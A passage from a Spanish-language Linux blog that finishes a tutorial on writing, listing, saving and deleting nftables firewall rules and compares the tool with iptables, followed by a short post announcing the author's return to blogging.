Dichas expresiones pueden combinarse entre sí dentro de la misma regla y siempre tienen que terminar con una política; las más comunes son las mencionadas antes: accept y drop. Pero existen también las políticas queue, continue y return; además de una política especial, la cual solamente se puede usar en las cadenas de tipo nat, llamada masquerade. Esta última lo que haría sería transformar la IP de origen del tráfico saliente en la IP de dicha interfaz, lo cual es común en las labores de NATeo, pues lo que se hace es transformar una IP en otra.

Usando lo de arriba como referencia podemos hacer combinaciones como estas:

Bloquear todo el trafico al puerto 22 desde el rango de IPs 192.168.1.0/24:
nft add rule inet filter input tcp dport 22 ip saddr 192.168.1.0/24 drop

Bloquear todo el trafico entrante nuevo (ct state new), proveniente del puerto 80. Es decir que nosotros podamos conectarnos a Internet, pero que no se puedan conectar a nuestro puerto 80 desde fuera:
nft add rule inet filter input ct state new drop

Bloquear los pings que accedan por la interfaz con nombre enp0s3:
nft add rule inet filter input iifname enp0s3 ip protocol icmp drop


Esto solo sería una parte de lo que puede hacer nftables, pero nos sirve para hacernos una idea global de la potencia que nos puede ofrecer esta utilidad.

Para listar todo aquello que hemos creado (las tablas, cadenas y reglas) tenemos el comando:
nft list ruleset

El cual nos mostrará nuestra configuración completa; configuración que podemos volcar en el fichero de configuración de nftables con el fin de que sea permanente. Esto se puede hacer a mano o mediante el comando:
nft list ruleset > /etc/nftables.conf

En caso de querer eliminar una regla que hayamos creado, es importante saber que, de momento, no es tan sencillo como sustituir nft add por nft delete; desgraciadamente, es necesario ejecutar primero el comando:
nft list ruleset -a

Allí veremos que al lado de cada tabla y cada regla aparecerá: #handle, seguido de un número; para eliminar la regla, tendremos que hacer referencia al handle con dicho numero. Si por ejemplo la regla de inet filter tuviese el handle 7, tendríamos que escribir:
nft delete rule inet filter input handle 7

Esto último no es del todo intuitivo y lo ideal sería poder eliminarlo de forma "natural", pero de momento es posible.


En definitiva, nos encontramos ante una versión más potente e intuitiva que iptables, que si bien ofrece varias ventajas, también posee un par de desventajas. El hecho de tener que conocer el handle de la regla para poder eliminarla, no es del todo afinado, al igual que la incapacidad de poder usar la familia inet para la tabla nat, o que sea necesario crear la tabla nat junto con sus correspondientes cadenas desde cero para hacer un simple 'masquerade' del tráfico postrouting.

Aún así es recomendable acostumbrarse a utilizarla, pues Debian 10 ya no usa iptables y en un futuro cercano nos veremos obligados a utilizar este firewall en el resto de distribuciones. Además, seguramente con el paso del tiempo irá puliendo esos pequeños detalles que hacen que esta potente herramienta no sea del todo perfecta.

Espero que os haya resultado útil.

Saludos.

Vuelta a la "normalidad"

Tras prácticamente y algo un año sin poder acceder al blog por falta de tiempo, espero poder volver ahora a la normalidad. Tiempo con muchos cambios en mi estilo de vida ha hecho que mi tiempo libre se haya reducido prácticamente a 0, y que si bien ahora no es el mismo que tenía antes de dichos cambios, si que es mayor que el que he tenido hasta ahora. Eso no implica que este tiempo haya estado desconectado del mundo tecnológico: finalmente he obtenido la certificación LPIC-1 (que si bien en mi caso no me ha requerido prepararme demasiado, tenía ganas de obtenerla con el fin de tener un papel que dijese que sé de Linux), he estado leyendo y experimentando, testeando cosas... No tanto como me habría gustado pero algo se ha podido progresar, con lo que espero poder ir plasmando paulatinamente esas cosas que he encontrado interesantes durante dicho tiempo, al igual que también plasmar aquellas cosas que me tope en el futuro.

Intentaré publicar a medida que pueda, aunque todo dependerá de la flexibilidad de mi agenda y del tiempo libre que pueda extraer de mis otras obligaciones. De momento os dejo con un pequeño artículo aparte sobre nftables, que espero que os resulte útil.

Sin más preámbulos, nos vamos leyendo.

¡Hasta el próximo artículo!

Saludos!